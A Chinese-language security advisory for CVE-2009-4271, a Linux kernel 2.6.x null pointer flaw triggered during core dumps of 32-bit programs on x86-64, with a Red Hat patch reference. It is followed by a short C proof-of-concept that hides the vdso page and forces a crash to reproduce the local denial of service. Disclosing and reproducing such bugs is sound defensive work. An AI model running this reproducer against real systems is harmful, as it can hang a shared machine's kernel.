CVE(CAN) ID: CVE-2009-4271
Linux Kernel是开放源码操作系统Linux所使用的内核。
Linux Kernel中存在空指针引用漏洞。在core dump期间,内核没有检查虚拟动态链接对象是否可访问。在Intel 64和AMD64系统上,本地非特权用户可以通过运行特制的32位应用程序来利用这个漏洞导致内核忙碌。
Linux kernel 2.6.x
厂商补丁:
RedHat已经为此发布了一个安全公告(RHSA-2010:0146-01)以及相应补丁:
RHSA-2010:0146-01:Important: kernel security and bug fix update
链接:https://www.redhat.com/support/errata/RHSA-2010-0146.html
Would this be a valid reproducer? :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
int main(){
FILE *f;
char line[256];
void *x,*y;
f = fopen("/proc/self/maps","r");
if (!f) exit(1);
x=y=NULL;
while (fgets(line,sizeof(line),f)) {
if (strstr(line,"vdso")) {
sscanf(line,"%p-%p ",&x,&y);
fprintf(stderr,"vdso %x\n", x);
break;
}
}
if (!x) exit(1);
mprotect(x,4096, PROT_NONE);
*(char*)NULL = NULL;
}
Ciao, Marcus